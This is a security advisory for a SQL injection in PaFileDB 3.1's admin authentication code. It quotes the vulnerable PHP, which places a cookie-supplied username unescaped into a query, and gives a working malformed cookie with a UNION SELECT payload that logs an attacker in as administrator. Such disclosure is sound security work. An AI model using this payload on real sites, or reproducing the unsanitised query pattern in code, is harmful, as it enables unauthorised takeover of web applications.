[SePro Advisory #5] PaFileDB 3.1 - SQL-Injection
================================================== =========

Vendor: PhpArena
URL: http://www.phparena.net/
Date: 17.08.05

App.: PaFileDB
Version: 3.1
Type: SQL-Injection
Risc: High



Credits:
================================
Newangels & security-project.org Team
Vulnerability discovered by deluxe89
Writeup by Astovidatu


Description:
================================
paFileDB is designed to allow webmasters have a database of files for download on their site.

See [1] for a detailed description.



SQL-Injection:
================================
The vulnerable file: '/includes/admin/auth.php'

Pre-conditions:
- magic_quotes_gpc Off
- $authmethod = cookies


Vulnerable Code:
Code:
if ($authmethod == "cookies") {
echo "authmethod = cookies\n";
$cdata = explode("|", $pafiledbcookie);
$ip = $cdata[0];
$user = $cdata[1];
$pass = $cdata[2];
echo "ip = $ip, user = $user, pass = $pass\n";
}
if (!empty($user)) {
echo "user not emtpy\n";
$admin = $pafiledb_sql->query($db, "SELECT * FROM $db[prefix]_admin WHERE admin_username = '$user'", 1);
$adminip = getenv ("REMOTE_ADDR");
$md5ip = md5($adminip);
if ($pass == $admin[admin_password] && $md5ip == $ip) {
$logged = 1;
}
} else {
echo "user empty\n";
$logged = 0;
}

SQL-Injection through $user.

In order to exploit the issue, an attacker needs to construct a malformed cookie:
Name: pafiledbcookie
Content: [MD5 IP]%7CaG'+union+select+1,2,'pass',4,5/*%7Cpass

"/pafiledb.php?action=admin": open and your logged in as admin in the ACP.



Solution:
================================
There is no solution yet.




[1] http://www.phparena.net/scripts.php?script=pafiledb